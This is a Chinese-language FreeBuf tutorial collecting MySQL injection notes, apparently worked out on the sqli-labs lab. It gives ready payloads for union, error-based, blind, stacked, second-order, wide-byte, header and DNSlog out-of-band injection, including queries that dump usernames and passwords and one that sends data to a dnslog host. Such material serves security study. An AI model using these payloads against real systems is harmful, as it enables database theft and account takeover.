freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MYSQL 注入总结笔记整理
2023-06-02 10:35:49
所属地 重庆

mysql 基本用法

查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;

基本函数

left() 函数

left(a,b) 从左侧截取a的前b位,正确返回1,错误返回0

mysql> select left(database(),3)='s';   // 截取前三位,但是右边就只有一位
+------------------------+
| left(database(),3)='s' |
+------------------------+
|                      0 |     // 错误
+------------------------+
1 row in set (0.00 sec)

mysql> select left(database(),3)='sec';
+--------------------------+
| left(database(),3)='sec' |
+--------------------------+
|                        1 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select left(database(),1)='s';
+------------------------+
| left(database(),1)='s' |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)

image-20211217144939138.png

regexp 函数

regexp 函数: select user() regexp 'r'     user()的结果是里有r,则为1,否则0


mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select user() regexp 'root';
+----------------------+
| user() regexp 'root' |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)

mysql> select user() regexp 'r';
+-------------------+
| user() regexp 'r' |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)

mysql> select user() regexp 'lo';
+--------------------+
| user() regexp 'lo' |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)


mysql> select user() regexp 'roc';
+---------------------+
| user() regexp 'roc' |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)





// 如果在语句中使用 ^ 那么就会在最开始查,而不加 ^ 就会在整个语句中查找是否匹配
mysql> select user() regexp 'lo';
+--------------------+
| user() regexp 'lo' |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^lo';
+---------------------+
| user() regexp '^lo' |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

image-20211217145925779.png

like 函数

like 函数: select user() like 'ro%'       匹配和 regexp 相似 与 regexp 区别在于 like 只能在开头匹配, regexp 全文匹配



mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select user() like 'root%';
+---------------------+
| user() like 'root%' |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select user() like 'loca%';
+---------------------+
| user() like 'loca%' |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

image-20211217150719411.png

substr 函数

substr(a,b,c)  :    select substr() XXXX        substr(a,b,c)  a 字符串中,从 b 位置开始截取 c 个字符

image-20211217151459761.png

ascii() 函数

//将某个字符串转化为 ascii 值

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)


mysql> select ascii(substr((select database()),1,1));
+----------------------------------------+
| ascii(substr((select database()),1,1)) |
+----------------------------------------+
|                                    115 |
+----------------------------------------+
1 row in set (0.00 sec)


mysql> select ascii(substr((select database()),1,1))>110;   // 结果如果大于110,就会返回1,否则返回0
+--------------------------------------------+
| ascii(substr((select database()),1,1))>110 |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

mid()函数

//mid(a,b,c)       查询 a 数据,从查询到的 a 数据中的第 b 位开始提取,一共取 c 个字符
注意:查询的 a 数据必须为 string 类型

substr() 函数

//substr() 和 substring () 函数实现的功能是一样的,均为截取字符串

//substr(a,b,c)         a 为查询的语句,b 为语句从 b 位开始,c 为语句从 b开始取 c 个值

concat() 函数

Select concat((select database()));

//作用:把两个或者多个字符串连接起来

concat_ws() 函数

例如:
concat_ws(',','1','2','3')

输出的值为:1,2,3

//concat_ws()   全称:concat with separator
第一个参数为分隔符,其他的为值,输出结果为每个值用分隔符分开。值的数量是无限的

group_concat() 函数

select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)
————————————————



//该函数为把返回的值满足条件的输出到一个框框里面

group by 函数

//根据一个或者多个列对结果集进行分组
//最重要的就是去掉重复的数据

Orders表
O_Id	OrderDate	OrderPrice	Customer
1		2008/12/29	1000		Bush
2		2008/11/23	1600		Carter
3		2008/10/05	700			Bush
4		2008/09/28	300			Bush
5		2008/08/06	2000		Adams
6		2008/07/21	100			Carter

mysql > SELECT Customer,SUM(OrderPrice) FROM Orders GROUP BY Customer;
Customer	SUM(OrderPrice)
Bush		2000
Carter		1700
Adams		2000

count() 函数

//返回表中记录数(横为记录,竖为字段)
mysql count(*) from table_name;  //返回 table_name 表中的所有记录数

Orders表
O_Id	OrderDate	OrderPrice	Customer
1		2008/12/29	1000		Bush
2		2008/11/23	1600		Carter
3		2008/10/05	700			Bush
4		2008/09/28	300			Bush
5		2008/08/06	2000		Adams
6		2008/07/21	100			Carter

mysql > SELECT COUNT(Customer) AS CustomerNilsen FROM Orders WHERE Customer='Carter'

+-------------------+
| CustomerNilsen	|
+-------------------+
| 2					|
+-------------------+
1 row in set, 1 warning (0.00 sec)

floor() 函数

//向下取整
mysql > select floor(20.11);
+----------------------+
| floor(20.11)  |
+----------------------+
| 20 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

rand() 函数

//rand函数为在 0 到 1 之间随机取一个数,此数为随机数

mysql> SELECT RAND();
+------------------+
| RAND()   |
+------------------+
| 0.45464584925645 |
+------------------+
1 row in set (0.00 sec)


//当括号里面的参数固定的时候,随机数也是固定的
mysql> SELECT RAND(2);
+------------------+
| RAND(2)   |
+------------------+
| 0.6555866465490187 |
+------------------+
1 row in set (0.00 sec)

mysql> SELECT RAND(2);
+------------------+
| RAND(2)   |
+------------------+
| 0.6555866465490187 |
+------------------+
1 row in set (0.00 sec)

sleep() 函数

//sleep() 函数是可以让程序停止执行一段指定的时间

mysql > select sleep(3);
+---------------+
| 		sleep(3)|
+---------------+
|       3		|
+---------------+
1 row in set, 1 warning (3.00 sec)

if() 函数

//用作语句判断

if(a,b,c)   // a 为需要判断的语句,如果 a 为真就输出 b , a 为假就输出 c

mysql > select if(1=2,'true','false');
+-----------------------+
| if(1=2,'true','false')|
+-----------------------+
| false					|
+-----------------------+
1 row in set, 1 warning (0.00 sec)

ord() 函数

// ord() 函数就是一个返回字符的 ascii 码

mysql > select ord('a');
+-----------------------+
| ord('a')				|
+-----------------------+
| 97					|
+-----------------------+
1 row in set, 1 warning (0.00 sec)

length() 函数

//返回字符串的长度


mysql > select length('abcdefg');
+-----------------------+
|length('abcdefg')		|
+-----------------------+
| 7						|
+-----------------------+
1 row in set, 1 warning (0.00 sec)


system_user()           #当前系统用户
user()                  #当前登录用户
current_user()          #当前登录用户
database()              #当前使用的数据库
version()               #当前 mysql 版本信息
@@datadir               # mysql 的安装路径
@@version_compile_os    #当前的操作系统

image-20211212094542870.png

image-20211212094632013.png

在上述中因为有回显,所以现在选择在 3 的位置做一个查库操作
这时就会得到第一个数据库

image-20211212095052971.png

使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了

image-20211212095309829.png

image-20211212095337586.png

如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出

image-20211212095654542.png

这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys

这时取 security 进行操作,得到 security 中的表信息
emails,referers,uagents,users

image-20211212100031322.png

在上一步操作中的最后一个 table_schema='security'
不推荐使用单引号

把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode

image-20211212101121933.png

image-20211212101150629.png

对 users 列表进行操作
同样的 ‘’ 里面的东西一样转化为 16 进制

image-20211212102724863.png

取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B)    表示:A~~B

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+

等价于

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+

单引号里面的东西尽量变为 0x (16进制)

image-20211212103145631.png

less-01

进入数据库:mysql -h127.0.0.1 -uroot -proot

show databases;
use security;
select * from where id='1' LIMIT 0,1;

image-20211212090048576.png

limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据

image-20211212090440906.png

在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行
在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
order by number:
number : 代表是第几列,进行顺序排列

image-20211212092240253.png

显示没有第五列

image-20211212092441570.png

试出 mysql 数据库中 less-1 存在三列

image-20211212092548431.png

这时,已知存在三列 1,2,3
所以这里用 union 
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句

image-20211212093101546.png

这时候 name 为2
password 为3
说明有回显,可以进行递用

image-20211212093551787.png

小结

1。  http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1'    #查看是否有注入
2。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1' order by 3 --+ #查看有多少列
3。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ #查看当前有哪些数据可以回显
4。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ #查看当前数据库
5。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+   #查看数据库 security 

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+    #查看所有的数据库

6。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+    #查表

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+    #查看所有的表

7。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' --+    #查询列信息

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+   #查看所有的列信息

8。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1   #查询一个账号和密码

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+   #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。

联合注入

  • 原理:

使用联合查询的方式进行注入

使用关键词 union select 对两个表进行联合查询。两个表的字段数必须相同
要注意的是 union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 select 语句中的列顺序必然相同

所以需要用 order by 去猜解判读字段数
例如:
?id=1'order by 3 --+   //成功
?id=1'order by 4 --+   //失败
说明有三个字段

playload:select …… union select ……
注意:union 前面为假后面才能正常查询
	所以 union 联合查询搭配报错注入
  • 利用一段源码举例:

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1'order by 3 --+   //成功
?id=1'order by 4 --+   //失败
这个时候需要构建 playload:select …… union select ……

id = union select 1,2,database()
组合起来:$sql="SELECT * FROM users WHERE id='union select 1,2,database()' LIMIT 0,1";
		语句报错

id = -1' union select 1,2,database() --+
组合起来:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1";
		语句成功执行
		//这里 -1' 是为了闭合和报错,union 前面的报错了,后面的才能正常执行

报错注入

报错注入参考博客:https://blog.csdn.net/rfrder/article/details/108674217

bigint 溢出

  • 原理:

bigint 溢出就是当函数查询的值超过了最大值后就会出现溢出报错
具体使用攻击的函数如下 exp()
  • 注入原理如下:

//当语句执行成功的时候就返回值为 0 ,失败的时候就为 1 ,这里使用 ! 符号用来进行逻辑非运算。如果值是 0 进行逻辑非运算就是 1 

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

//所以我们只要能够组合好逻辑取反和逐位取反运算,我们就能够利用溢出错误来成功的注入查询

//下面的命令解释:select*from(select user())x 得到的结果为 0
               !(select*from(select user())x) 得到的结果为 1
               ~0+!(select*from(select user())x) 得到的结果为 ~0+1
               ~0+1 ---》 因为 ~0 已经达到了最大无符号的 bigint 值了,所以再 +1 就溢出了,溢出就造成了报错

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

exp() 函数 (又名:利用double数值类型超出范围进行报错注入)

当传递一个大于 709 的值时,exp() 函数就会引起一个溢出错误

//正常如下
mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec) 

//错误如下
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
  • 注入原理如下:

将 0 取反返回的值为 “18446744073709551615”
因为当函数成功执行后返回的值为 0 ,失败就返回 1 
所以将成功的函数取反就得到了最大的无符号 binint 值

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec) 


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
  • playload:

exp(~(select * from (需要查询的语句) x))

举例:
exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database()) a))

小结

和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本

Xpath报错注入

XPath 使用路径表达式在 XML 文档中进行导航
XPath 包含一个标准函数库
XPath 是 XSLT 中的主要元素
XPath 是一个 W3C 标准
  • xpath基础语法和基础知识

https://www.runoob.com/xpath/xpath-syntax.html

extractvalue() 函数

http://127.0.0.1/sqli-labs-php7-master/Less-5/?id=1' and extractvalue(1,concat('~',(select @@version),'~')) --+


extractvalue()  函数 payload: and extractvalue(null,concat(0x7e,(payload),0x7e))

xpath相关学习博客:https://www.cnblogs.com/backlion/p/8554749.html

image-20220304180139847

updataxml() 函数

  • payload: and 1=(updatexml(1,concat(0x7e,(payload)),1))

  • updatexml这个函数是用来更新 xml 数据的。默认传进去的是更新的内容,但是非法传参使他故意报错,然后执行 sql 语句

双查询注入

  • 需要用到的函数有:

concat()    //把查询到的结果连接起来
rand()      //0-1 取随机数,但是括号里面给了固定的参数,随机数也随着固定
floor()     //向下取整
count()     //统计表中有多少条记录
group by()  //去掉表中重复的数据
  • 原理:

报错注入的形式为两个嵌套的查询:

select……(select……)

**括号里面的查询被称之为子查询,在执行顺序中子查询先执行,然后再执行外面的 select **

*floor(rand(0)2) 的值是确定性的,假随机

floor(rand(0)*2)-----------011011

select count(*) from table group by floor(rand(0)*2);

group by 创建了一个虚表/临时表,每一行都有唯一的 group_id,以 floor(rand(0)*2) 为 group_id

如果不存在则插入则插入

如果存在则 count() 值加1

深层原理:

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
  • 举例:

playload:
?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

?id=-1’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

时间盲注(又名:延时注入)

  • 需要用到的函数为:

if()      		//判断函数
ascii()   		//字符输出为对应的 ascii 码
length()  		//输出字符的长度
sleep()   		//控制执行语句运行时间
substr(a,b,c)  	//从 a 中, b 开始取 c 个值
left(a,b)		//从 a 中提取 b 个值(从第一个值开始取)
  • 判断注入点

?id=1' and sleep(5) --+ //正常休眠
?id=1" and sleep(5) --+ //无休眠
?id=1') and sleep(5) --+ //无休眠
?id=1") and sleep(5) --+ //无休眠
  • playload:

?id=1' and if(length(database())=8,sleep(10),1) --+
//解释:判断 database() 输出结果的长度,如果长度为 8 ,那么就睡 10 秒,如果长度不是 8 ,那就输出 1 ,输出 1 的话就是报错


//使用盲注爆出数据库(1)
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10)) --+
//解释:执行 database() 命令后取第一位字符,第一位字符的对应 ascii 码为 115 ,如果执行得出的结果第一位是 115 那么就正常运行,如果执行得出的结果错误就会 sleep 10 秒,以此来判断

//使用盲注爆出数据库(2)
?id=1' and if(left(database(),1)='s',sleep(5),1) --+
//解释:执行 database() 命令后取第一位字符,第一位字符为 s 程序就 sleep 5 秒,如果不为 s 就报错
  • 附上一篇盲注脚本

https://blog.csdn.net/weixin_41598660/article/details/105162513

布尔注入

  • 原理:

boolean 根据注入信息返回 true or fales 没有其他任何报错信息
  • 常用函数:

length()		// 返回字符串的长度
substr(a,b,c)	// 将 a 从 b 位置开始截取 c 长度的字符串,注意 b 位置是从一开始的,不是 0 开始
mid(a,b,c)		// 将 a 从 b 位置开始截取 c 个字符串,注意 b 位置是从一开始的,不是 0 开始
ascii()			// 返回字符串最左边的字符的 ascii 代码值
ord()			// 返回 ascii 代码值
if(a,b,c)		// 将 a 进行判断,如果是 true 就返回 b , 如果是 false 就返回 c
  • playload:

?id=1' and length(database())=8 --+
返回正常,说明数据库名长度为 8 

?id=1' and ascii(substr(database(),1,1))=115 --+
返回正常说明第一个数据库的第一个字符是 s 

?id=1' and left(database(),9)='security' --+
返回正常,说明数据库名为 security

堆叠注入

  • 原理:

sql 语句由 ; 结尾,在执行多条语句时用结束符 ; 分开,那么在 ; 结束符号后 sql 下一句语句会一起执行

注意:堆叠注入的触发天骄比较苛刻
如以下情况堆叠注入不成立
1. 当服务器访问数据不能同时执行多条 sql 语句的时,
	比如:php 中 mysqli_multi_query() 函数就能多条语句同时执行,堆叠注入有效
	但是 mysqli_query() 函数就只能一条一条语句执行,这种情况下堆叠注入就无效
2.目标对 ; 符号进行过滤

堆叠注入并不是在每种情况下都能使用的,大多数时候,因为 API 或数据库引擎的不支持,堆叠注入都无法实现

  • playload

?id=1'; show tables --+

?id=1'; insert into users(id,username,password) values (88,'aa','bb') --+

二次注入

  • 原理:

用 php 举例:
addslashes()  			// 函数仅接受 string 类型的数据,它会把输入字符串中的字符进行转义
比如:
$str = addslashes('abcd "efg"');
echo($str)
// abcd \"efg\"

get_magic_quotes_gpc()  // 和 addslashes() 函数一样的效果会在字符前面增加 \ 符号,达到字符转义


那么我们如何攻击呢?
首先,由于转义字符的纯在,那么我们输入的特殊字符,比如 # ' 等符号都会原封不动的存入数据库中,存入数据库后,我们在进行第二次查询,对前面已经存入数据库中的数据进行闭合和组合,最后达到攻击效果
  • playload:

$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql_detail = "select count(*) from users where username='$username'";

$sql="SELECT * FROM users ORDER BY id";


// 以上代码为一部分源码,可以看到使用了 mysql_escape_string() 函数进行转义处理

(数据库中已经有一个 admin 账号,username 和 password 都为 admin)
1. 先注册一个 username 为 admin'# 密码为 123 的账号
// 由于转义字符的存在,所以存入数据库里面的依然是 admin'#
username = admin'#

2. 此时,admin 账号的密码好账号都一样,我们用 admin'# 账号登录,再进行修改密码,原本为 123 的密码,修改为 123456

3.此时,admin 账号密码已经被悄无声息的改为 123456 了,而 admin'# 毫无变动。这是为什么呢

$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
原来如此,在更改密码的时候 admin'# 这里把语句闭合了。并且把后面的语句给注释掉了。

DNSlog对外注入

  • 原理:

通常在外面面对 sql 注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在 sql 注入,但是盲注手工测试花费大量的时间。如果用 sqlmap 跑盲注很大概率 ip 会被 ban ,所以使用 dnslog 对外注入来看回显

DNS:域名系统,负责把域名转换成 ip 地址。
DNSlog:DNS的日志,DNS域名解析的时候会留下域名和解析的 ip 记录
DNSlog外带原理:DNS解析会留下日志,我们把信息放在高级域名中,传递到我们这里,通过读取日志获取信息
  • playload:

?id=1' and (select load_file(concat('\\',(select hex(user())),'xxxxxx.dnslog.cn/1.txt'))) --+
//这个时候 dnslog 网站那边就能看到具体的回显了

中转注入

  • 原理:

当被攻击网站的 url 注入点是经过编码的,不能直接结合 sqlmap 进行漏洞利用,所以本地搭建一个网站,写一个脚本编码文件,就可以结合 sqlmap 工具进行测试。因为复杂编码之后,就不能直接结合 sqlmap 进行漏洞攻击了,或者自己编写脚本进行攻击
  • 推荐博客:https://blog.csdn.net/weixin_40412037/article/details/110088186

宽字节注入

  • 原理:

字符大小为一个是叫窄字节,字符大小为两个及以上的叫宽字节

为了防治 sql 注入,会使用 \ 对一些特殊字符进行转义。比如 php 中 magic_qutes_gpc() 函数的作用就是用户提交的数据进行解析,把 post、get、cookie、过来的数据增加转义字符 \ 确保数据不会引用错误。

但是字符转义了,我们怎么攻击呢,嘿嘿,机智的安全giegie想出了一个东西:
因为 \ 的转义后的编码为 %5c ,中国的汉字偏旁部首还可以拼接成一个汉字。
所以 %5c 当然也可以拼接。
比如: %df%5c 就是 “运” 字。(只有中文的编码数据库才可以这样并且数据库的编码为 GBK 编码)
此时提交进去的 %df%5c 就变成了 %df’ ,这个时候单引号就逃跑出来了,形成了漏洞
  • playload:

?id=-1%df' union select 1,2,3 --+

cookie注入和xff注入

  • 原理:

cookie注入:
源码没有在 cookie 中做一些过滤

xff注入:
xff 是 X-Forwarded-for 的缩写,通过修改 X-Forwarded-for 投对带入系统的 dns 进行 sql 注入。
  • playload:

对网站进行抓包,然后添加插入X-Forwarded-For:127.0.0.1头进行sql注入

补充

这一类的都是 http 头注入,相类似的还有
User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Cookie:网站为了辨别用户身份进行session跟踪,并储存在用户本地终端上的数据(通常经过加密)

X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])。

Rerferer:浏览器向 WEB 服务器表明自己的页面来源。

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。

between注入

  • 原理:

主要用于盲注查看页面是否变化

比如:username 的字符内容是 test1 ,第一个字符是 t ,a 到 d 搜索不了,页面不正常,a 到 t 就有页面正常
  • playload

select * from users where id =1 and substr(username,1,1) between 'a' and 'b'; // 页面不正常

select * from users where id =1 and substr(username,1,1) between 'a' and 't'; // 页面正常

order by 注入

  • 函数:

1、order by:对查询结果按照指定列进行排序,指定列的方式有两种:数字或列名

2、ASC:升序排列,默认为ASC

3、DESC:降序排列

注意:以数字方式指定排序列时,数字不能超过列的总数,利用该特性在进行SQL注入的时候可以判断数据库的字段数量
  • 原理:

注意:这个注入在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用

order by 注入可以和盲注组合起来用效果更好

在 web 站点中排序功能都是借助 sql 的 order by 来实现的。

当页面出现 mysql 报错信息时,注入点在 order by 后面,此时可以利用报错信息进行注入,尝试报错注入

嫖一下大佬的图用用

202304151629869.jpeg

# SQL注入 # web安全 # mysql安全 # 数据安全 # mysql注入
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录